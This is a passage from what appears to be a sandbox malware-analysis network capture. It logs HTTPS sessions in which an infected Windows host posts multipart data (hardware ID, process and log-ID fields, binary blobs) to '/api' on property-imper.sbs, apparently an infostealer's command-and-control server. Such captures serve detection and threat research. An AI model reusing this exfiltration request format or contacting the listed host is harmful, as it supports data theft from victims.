2024-11-24 13:25:27 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=grbhkmn91c8rdncoau5lm1abt4; expires=Thu, 20-Mar-2025 07:12:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KTYq3Uq403YMAZ65JQgoTpgjsJcWvwbkY3r8Ddk3YR%2FjF5DPv6ItCltMseMVKD33BbQ%2BHQ7GeqP4jRa5WQBhOjZ%2Fy9PkqGFsJdtWRW1McViKOuHMrqy1kascDf%2F691gwxNKEqto%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b99a8b5243a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1769&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1612368&cwnd=231&unsent_bytes=0&cid=b63529b4e940a844&ts=714&x=0"
2024-11-24 13:25:27 UTC	354	IN	Data Raw: 34 34 36 63 0d 0a 4e 72 35 63 4c 69 73 6a 61 4b 67 6f 64 52 45 43 6f 39 4e 36 64 77 44 76 62 71 35 76 31 4e 68 34 4c 4b 39 2f 71 52 67 6d 6d 4a 52 4e 6e 43 6f 4d 45 52 64 45 69 6c 73 51 4d 7a 6a 58 6f 51 38 53 4c 4d 30 50 79 6b 33 75 76 68 6c 41 33 42 71 46 4f 6c 44 31 74 67 7a 59 50 55 4a 59 52 6b 53 4b 54 51 30 7a 4f 50 69 6f 57 42 4a 75 7a 56 53 4d 43 72 36 36 47 55 44 4e 48 73 4a 33 56 76 54 33 58 74 49 37 52 6b 35 41 44 4d 6c 45 47 48 52 6e 78 72 49 51 47 57 6d 43 42 73 4e 4e 2b 50 6f 64 56 6f 31 46 69 31 56 44 37 50 56 37 33 79 39 46 43 56 35 45 30 77 6f 51 66 79 43 5a 38 52 73 53 59 6f 4d 49 79 67 53 38 73 42 42 49 7a 42 76 44 61 45 2f 2b 2f 46 37 63 4f 45 64 45 53 52 6a 45 54 68 39 2f 59 63 79 79 57 46 73 69 69 68 53 4d 56 66 62 70 4b 45 33 63 44 Data Ascii: 446cNr5cLisjaKgodRECo9N6dwDvbq5v1Nh4LK9/qRgmmJRNnCoMERdEilsQMzjXoQ8SLM0Pyk3uvhlA3BqFOlD1tgzYPUJYRkSKTQ0zOPioWBJuzVSMCr66GUDNHsJ3VvT3XtI7Rk5ADMlEGHRnxrIQGWmCBsNN+PodVo1Fi1VD7PV73y9FCV5E0woQfyCZ8RsSYoMIygS8sBBIzBvDaE/+/F7cOEdESRjETh9/YcyyWFsiihSMVfbpKE3cD
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 54 41 72 59 51 68 78 34 5a 64 4f 36 45 52 68 76 6a 51 48 47 41 72 57 36 48 55 54 48 45 73 46 2b 53 66 66 77 56 4e 78 2b 41 67 6c 47 45 6f 6f 53 56 31 42 6c 30 62 59 55 41 79 43 33 54 4e 4e 44 72 2f 6f 64 51 6f 31 46 69 33 4a 42 2b 66 56 66 30 7a 31 45 51 6c 4d 4b 32 45 77 61 64 6e 4c 48 74 42 59 66 59 5a 38 47 77 67 75 31 73 78 46 48 79 42 72 50 4f 67 71 36 38 55 79 63 5a 67 78 6f 54 41 48 47 51 41 42 7a 49 4e 37 2f 41 56 56 6c 67 55 79 55 54 62 4b 37 48 6b 2f 4a 45 38 56 2b 53 50 7a 34 57 64 4d 34 52 6b 6c 47 41 4d 4a 43 46 6e 35 72 7a 72 45 64 47 47 61 4c 41 4d 30 49 39 76 52 61 53 64 56 64 6b 7a 70 71 2f 66 56 47 6e 67 74 50 52 30 38 4e 33 41 6f 49 50 58 6d 42 74 68 52 56 4f 73 30 43 79 51 4b 6b 75 77 68 4c 77 77 2f 48 66 30 4c 33 39 56 72 63 4f 30 74 Data Ascii: TArYQhx4ZdO6ERhvjQHGArW6HUTHEsF+SffwVNx+AglGEooSV1Bl0bYUAyC3TNNDr/odQo1Fi3JB+fVf0z1EQlMK2EwadnLHtBYfYZ8Gwgu1sxFHyBrPOgq68UycZgxoTAHGQABzIN7/AVVlgUyUTbK7Hk/JE8V+SPz4WdM4RklGAMJCFn5rzrEdGGaLAM0I9vRaSdVdkzpq/fVGngtPR08N3AoIPXmBthRVOs0CyQKkuwhLww/Hf0L39VrcO0t
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 41 6f 49 50 58 6d 42 74 68 52 56 4f 73 30 41 78 51 32 39 73 42 35 4f 79 68 44 4f 65 55 50 35 2b 31 50 57 4d 45 74 4e 54 51 50 48 54 42 64 30 5a 4d 53 6a 48 52 78 75 67 55 79 43 54 62 47 69 57 68 61 4e 4d 73 78 73 52 39 58 31 52 64 56 2b 55 77 64 59 53 73 31 47 56 79 73 67 78 72 51 51 48 6d 53 46 44 4e 34 49 75 4c 45 62 52 4d 73 63 78 6e 5a 43 2b 76 64 55 32 6a 4a 4d 54 6b 59 59 32 45 38 52 59 57 71 42 2f 31 67 53 65 73 31 55 6a 44 75 6d 72 51 74 59 6a 79 6a 49 64 45 72 39 34 42 54 44 63 46 55 4a 52 67 61 4b 45 6c 64 34 59 4d 32 32 45 42 4e 6d 68 51 50 44 42 4b 53 37 46 6b 44 66 47 73 74 7a 53 76 58 36 58 64 45 35 51 55 4a 4c 42 38 35 4e 46 6a 4d 75 67 62 59 41 56 54 72 4e 4f 74 77 41 75 70 51 52 51 73 52 64 31 44 52 64 75 76 46 59 6e 47 59 4d 54 55 30 43 Data Ascii: AoIPXmBthRVOs0AxQ29sB5OyhDOeUP5+1PWMEtNTQPHTBd0ZMSjHRxugUyCTbGiWhaNMsxsR9X1RdV+UwdYSs1GVysgxrQQHmSFDN4IuLEbRMscxnZC+vdU2jJMTkYY2E8RYWqB/1gSes1UjDumrQtYjyjIdEr94BTDcFUJRgaKEld4YM22EBNmhQPDBKS7FkDfGstzSvX6XdE5QUJLB85NFjMugbYAVTrNOtwAupQRQsRd1DRduvFYnGYMTU0C
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 5a 6c 78 62 59 63 45 32 33 4e 51 6f 77 4b 72 76 70 43 44 75 49 36 2f 6a 68 6c 77 4c 5a 4c 6b 69 63 4d 54 6b 31 4b 6b 67 6f 62 63 47 7a 4a 76 68 34 63 62 6f 63 46 78 77 47 39 76 68 5a 48 79 42 76 4b 66 30 48 37 38 6c 6a 57 4f 45 39 4b 54 67 58 46 51 6c 63 39 49 4d 61 70 57 45 30 69 71 42 76 48 41 37 44 36 42 51 44 55 58 63 78 32 42 4b 4b 32 57 4e 55 34 53 6b 78 4e 43 38 78 43 45 6e 74 6b 77 4c 63 65 46 6d 32 4a 43 63 30 43 73 72 59 55 52 4d 77 63 78 33 46 4c 38 66 4d 55 6b 6e 35 4c 55 51 46 53 69 6e 73 55 5a 58 66 52 76 56 67 4b 4c 4a 52 4d 79 77 48 32 34 6c 70 50 33 78 66 42 64 45 48 31 38 31 66 54 4f 55 46 50 54 51 44 44 51 68 46 38 61 64 4f 79 46 42 74 6c 67 77 44 43 41 4c 79 35 46 77 36 44 58 63 78 69 42 4b 4b 32 65 4e 73 7a 59 6b 4a 4e 44 59 70 56 57 Data Ascii: ZlxbYcE23NQowKrvpCDuI6/jhlwLZLkicMTk1KkgobcGzJvh4cbocFxwG9vhZHyBvKf0H78ljWOE9KTgXFQlc9IMapWE0iqBvHA7D6BQDUXcx2BKK2WNU4SkxNC8xCEntkwLceFm2JCc0CsrYURMwcx3FL8fMUkn5LUQFSinsUZXfRvVgKLJRMywH24lpP3xfBdEH181fTOUFPTQDDQhF8adOyFBtlgwDCALy5Fw6DXcxiBKK2eNszYkJNDYpVW
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 78 48 77 30 69 31 55 7a 36 43 71 61 71 47 51 7a 38 43 38 68 73 54 2f 66 36 46 4d 4e 77 56 51 6c 47 42 6f 6f 53 56 33 56 76 79 4c 49 58 46 47 75 42 41 63 6b 45 73 37 73 63 53 73 63 58 79 33 78 43 2b 2f 4e 65 33 7a 39 47 51 45 59 43 7a 55 6b 46 4d 79 36 42 74 67 42 56 4f 73 30 6c 79 78 2b 34 71 6c 70 52 67 77 53 4c 66 55 69 36 72 68 54 59 4e 45 4e 4e 52 67 62 4d 54 78 46 2b 59 63 36 77 47 42 70 6d 68 67 58 4b 44 4c 75 2f 46 30 72 66 46 38 42 31 53 50 50 36 57 5a 78 77 44 45 35 5a 53 70 49 4b 4a 6e 35 75 7a 37 59 4f 56 58 33 44 46 59 77 4b 75 76 70 43 44 73 77 52 78 48 6c 4c 2b 66 56 56 31 69 78 65 52 55 67 43 7a 30 59 63 66 57 62 54 74 78 63 63 59 59 34 46 79 77 57 36 73 42 6c 4a 6a 56 4f 4c 66 56 79 36 72 68 54 2f 4b 56 78 45 41 52 57 45 55 31 64 30 62 49 Data Ascii: xHw0i1Uz6CqaqGQz8C8hsT/f6FMNwVQlGBooSV3VvyLIXFGuBAckEs7scSscXy3xC+/Ne3z9GQEYCzUkFMy6BtgBVOs0lyx+4qlpRgwSLfUi6rhTYNENNRgbMTxF+Yc6wGBpmhgXKDLu/F0rfF8B1SPP6WZxwDE5ZSpIKJn5uz7YOVX3DFYwKuvpCDswRxHlL+fVV1ixeRUgCz0YcfWbTtxccYY4FywW6sBlJjVOLfVy6rhT/KVxEARWEU1d0bI
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 63 49 67 4b 77 77 4b 2f 73 78 35 47 7a 68 33 50 66 6b 50 2f 39 56 6a 58 4f 55 39 47 52 51 50 45 51 78 67 7a 4c 6f 47 32 41 46 55 36 7a 53 33 58 44 72 71 33 57 6c 47 44 42 49 74 39 53 4c 71 75 46 4e 41 77 53 55 6c 4c 44 4d 35 50 45 58 6c 6c 77 62 6f 62 47 6d 61 4c 43 4d 4d 4e 76 62 4d 62 53 4d 67 58 77 48 78 4a 2b 66 42 53 6e 48 41 4d 54 6c 6c 4b 6b 67 6f 33 61 47 33 4e 74 6c 67 4b 4c 4a 52 4d 79 77 48 32 34 6c 70 46 77 52 6e 4d 65 6b 6e 35 2f 6c 48 59 4e 45 6c 4a 53 52 6a 43 53 68 42 68 63 73 47 34 48 52 6c 68 6a 51 6a 4b 42 4c 43 35 48 67 36 44 58 63 78 69 42 4b 4b 32 65 64 41 35 5a 55 35 61 53 74 55 45 44 6a 4e 6e 7a 66 46 41 56 57 4f 47 42 73 4d 41 74 62 77 5a 52 63 67 58 79 6e 31 4d 39 2b 52 58 30 7a 46 49 53 55 34 4d 7a 45 73 59 64 57 66 49 73 42 41 Data Ascii: cIgKwwK/sx5Gzh3PfkP/9VjXOU9GRQPEQxgzLoG2AFU6zS3XDrq3WlGDBIt9SLquFNAwSUlLDM5PEXllwbobGmaLCMMNvbMbSMgXwHxJ+fBSnHAMTllKkgo3aG3NtlgKLJRMywH24lpFwRnMekn5/lHYNElJSRjCShBhcsG4HRlhjQjKBLC5Hg6DXcxiBKK2edA5ZU5aStUEDjNnzfFAVWOGBsMAtbwZRcgXyn1M9+RX0zFISU4MzEsYdWfIsBA
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 76 49 71 6f 4c 41 64 58 73 6f 4b 78 44 6f 4b 75 76 6b 55 68 41 63 4d 51 45 59 52 32 31 77 61 59 32 65 42 6a 6c 5a 56 65 73 31 55 6a 44 69 31 74 42 52 4a 32 77 79 47 58 56 4c 77 38 55 54 62 4b 55 4d 4a 44 30 72 4d 43 6b 38 67 4c 6f 47 31 43 56 55 36 33 56 36 58 57 4f 58 74 53 68 7a 53 55 39 49 36 55 72 71 75 42 70 4a 2b 58 67 6b 5a 53 6f 31 4a 42 57 46 6d 77 71 63 62 55 6c 79 7a 4b 39 59 41 73 4b 30 4c 63 50 4d 61 30 58 64 43 37 65 63 59 79 54 31 43 52 30 59 63 69 67 52 58 66 43 43 5a 69 46 68 64 49 72 4a 43 6a 42 58 32 34 6c 70 37 7a 68 50 46 66 56 4c 72 75 33 50 47 4d 30 70 65 55 45 71 45 43 68 45 7a 4f 4a 48 2f 57 42 46 7a 7a 56 53 63 58 2b 33 76 53 52 6d 64 54 39 51 30 58 62 72 67 46 49 52 73 41 67 6c 54 53 70 49 4b 55 48 42 79 30 37 63 62 41 32 48 4b Data Ascii: vIqoLAdXsoKxDoKuvkUhAcMQEYR21waY2eBjlZVes1UjDi1tBRJ2wyGXVLw8UTbKUMJD0rMCk8gLoG1CVU63V6XWOXtShzSU9I6UrquBpJ+XgkZSo1JBWFmwqcbUlyzK9YAsK0LcPMa0XdC7ecYyT1CR0YcigRXfCCZiFhdIrJCjBX24lp7zhPFfVLru3PGM0peUEqEChEzOJH/WBFzzVScX+3vSRmdT9Q0XbrgFIRsAglTSpIKUHBy07cbA2HK
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 37 36 4c 30 33 44 45 38 78 73 56 62 66 52 57 74 73 2f 57 6c 6c 57 42 59 6f 45 56 33 55 67 6d 65 4e 57 56 57 61 63 54 4a 52 64 35 4f 46 50 48 5a 70 4e 6d 57 55 4b 34 37 5a 43 6e 47 59 65 42 77 45 59 69 68 4a 58 4e 47 50 54 6f 78 34 57 64 49 35 4c 38 6a 4f 52 74 42 31 50 32 77 33 63 64 51 76 55 77 48 58 69 41 46 6c 4b 54 77 54 4e 58 41 59 7a 4c 6f 47 2b 57 45 31 62 7a 55 53 4d 4d 76 6a 36 41 67 36 56 58 66 35 35 53 76 54 78 51 73 31 7a 61 30 64 47 43 39 78 61 41 48 77 76 37 34 63 35 56 53 7a 4e 43 6f 78 56 35 50 52 61 53 74 78 64 6b 79 6f 57 6f 61 4d 48 69 32 34 65 56 67 38 54 69 6c 78 58 4b 7a 4b 50 38 51 70 56 4f 73 31 4c 7a 78 2b 6b 76 42 6c 59 7a 6c 72 31 52 47 50 30 38 56 58 4b 4c 6b 46 46 59 41 6e 62 51 43 6c 4e 64 63 4b 2f 46 68 4a 30 6e 45 79 43 54 Data Ascii: 76L03DE8xsVbfRWts/WllWBYoEV3UgmeNWVWacTJRd5OFPHZpNmWUK47ZCnGYeBwEYihJXNGPTox4WdI5L8jORtB1P2w3cdQvUwHXiAFlKTwTNXAYzLoG+WE1bzUSMMvj6Ag6VXf55SvTxQs1za0dGC9xaAHwv74c5VSzNCoxV5PRaStxdkyoWoaMHi24eVg8TilxXKzKP8QpVOs1Lzx+kvBlYzlr1RGP08VXKLkFFYAnbQClNdcK/FhJ0nEyCT
2024-11-24 13:25:27 UTC	1369	IN	Data Raw: 4b 32 77 6a 49 61 6b 50 45 79 48 6e 4f 4f 56 78 4b 41 79 62 4e 52 78 74 4e 58 76 61 67 48 77 55 67 71 77 2f 61 44 76 62 30 57 6c 61 4e 52 59 74 58 56 76 33 6d 56 35 34 53 53 30 52 4e 53 74 55 45 44 6a 4e 32 67 65 6c 4c 57 79 4b 66 54 4a 52 4e 38 62 6b 49 58 4d 73 65 33 58 6b 44 78 4d 68 35 7a 6a 6c 63 53 67 4d 37 78 30 34 42 5a 6d 50 52 74 69 59 72 54 35 38 4c 33 41 37 30 6e 79 41 4d 2f 41 76 49 65 6b 72 39 74 68 71 63 4a 67 77 52 41 53 66 59 54 51 64 77 49 75 53 4c 57 69 52 30 6a 67 7a 43 43 76 61 6c 56 46 65 4e 43 34 73 69 46 37 53 32 52 70 78 6d 44 41 35 50 42 38 74 4a 47 58 42 79 30 37 63 62 41 32 48 4b 4d 76 49 69 76 62 73 4b 51 39 77 51 7a 32 78 36 78 4e 46 53 32 54 6c 79 64 33 59 62 7a 56 70 56 56 57 50 58 73 6c 68 62 49 70 56 4d 6c 45 32 52 76 42 Data Ascii: K2wjIakPEyHnOOVxKAybNRxtNXvagHwUgqw/aDvb0WlaNRYtXVv3mV54SS0RNStUEDjN2gelLWyKfTJRN8bkIXMse3XkDxMh5zjlcSgM7x04BZmPRtiYrT58L3A70nyAM/AvIekr9thqcJgwRASfYTQdwIuSLWiR0jgzCCvalVFeNC4siF7S2RpxmDA5PB8tJGXBy07cbA2HKMvIivbsKQ9wQz2x6xNFS2Tlyd3YbzVpVVWPXslhbIpVMlE2RvB

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	50022	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:28 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7V13H9OWOS6M3ITGRD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18169 Host: property-imper.sbs
2024-11-24 13:25:28 UTC	15331	OUT	Data Raw: 2d 2d 37 56 31 33 48 39 4f 57 4f 53 36 4d 33 49 54 47 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 56 31 33 48 39 4f 57 4f 53 36 4d 33 49 54 47 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 56 31 33 48 39 4f 57 4f 53 36 4d 33 49 54 47 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --7V13H9OWOS6M3ITGRDContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--7V13H9OWOS6M3ITGRDContent-Disposition: form-data; name="pid"2--7V13H9OWOS6M3ITGRDContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-24 13:25:28 UTC	2838	OUT	Data Raw: d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed Data Ascii: ,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)py
2024-11-24 13:25:29 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jg06p9ui97l9i1ab1tlltidmgl; expires=Thu, 20-Mar-2025 07:12:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NXHs39zl5JxmZXT66h2gLXSViuraJ55Ox6nZ8e%2B4O%2B%2F8f9OWmdtHvh%2BOU34EciqWQgOnYzcl18ozOy%2BgNRXhj8tpuhpXKKm9Yc7i45Pqg7Dm4mpS4JKrSR7gxFyKtXuGcv95LHU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9a79af3c44a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19133&delivery_rate=1698662&cwnd=223&unsent_bytes=0&cid=8357bd6ddc9085e3&ts=1015&x=0"
2024-11-24 13:25:29 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	50031	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:31 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BU9I6UC89NP8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8754 Host: property-imper.sbs
2024-11-24 13:25:31 UTC	8754	OUT	Data Raw: 2d 2d 42 55 39 49 36 55 43 38 39 4e 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 55 39 49 36 55 43 38 39 4e 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 55 39 49 36 55 43 38 39 4e 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 55 39 49 36 55 43 38 Data Ascii: --BU9I6UC89NP8Content-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--BU9I6UC89NP8Content-Disposition: form-data; name="pid"2--BU9I6UC89NP8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BU9I6UC8
2024-11-24 13:25:31 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9rppni46plfdkff5sk7msconph; expires=Thu, 20-Mar-2025 07:12:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F3HRYyZsViM7U2I9k9T3zdNw%2FG22jnYvzJSNOKOmqGwzEt2Y3W9RQYOTl3xYiNtdqdu6YcQV4Ry%2FzTvNWxTZ3PHifaj80agLhHL2hc3Vur%2BIzrYOqABk%2FfZQH9MccP21kOA9iHc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9b63e9f0f43-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=16754&sent=9&recv=15&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9689&delivery_rate=1917268&cwnd=178&unsent_bytes=0&cid=a38190715128172b&ts=879&x=0"
2024-11-24 13:25:31 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	50037	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:33 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4Z7OG5DUEGBMAPLRO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20437 Host: property-imper.sbs
2024-11-24 13:25:33 UTC	15331	OUT	Data Raw: 2d 2d 34 5a 37 4f 47 35 44 55 45 47 42 4d 41 50 4c 52 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 5a 37 4f 47 35 44 55 45 47 42 4d 41 50 4c 52 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 5a 37 4f 47 35 44 55 45 47 42 4d 41 50 4c 52 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --4Z7OG5DUEGBMAPLROContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--4Z7OG5DUEGBMAPLROContent-Disposition: form-data; name="pid"3--4Z7OG5DUEGBMAPLROContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-24 13:25:33 UTC	5106	OUT	Data Raw: 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-24 13:25:34 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p9p4tm75msh790h1mgopu9sjlq; expires=Thu, 20-Mar-2025 07:12:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6CMaqp886X531QO8cw0SBt3LA076TY8JmPZZDhqVlB8HKD2UVsiNeRZMPsBbss21PBnZBBOxeTF5DuIUnQY%2F5A0yo1dchjCxvWlVUUHebTqeETDE9ZGq%2B7O32p78lyVistOsLpo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9c429f9443e-EWR alt-svc: h3=":443"; ma=86400 server-timing: 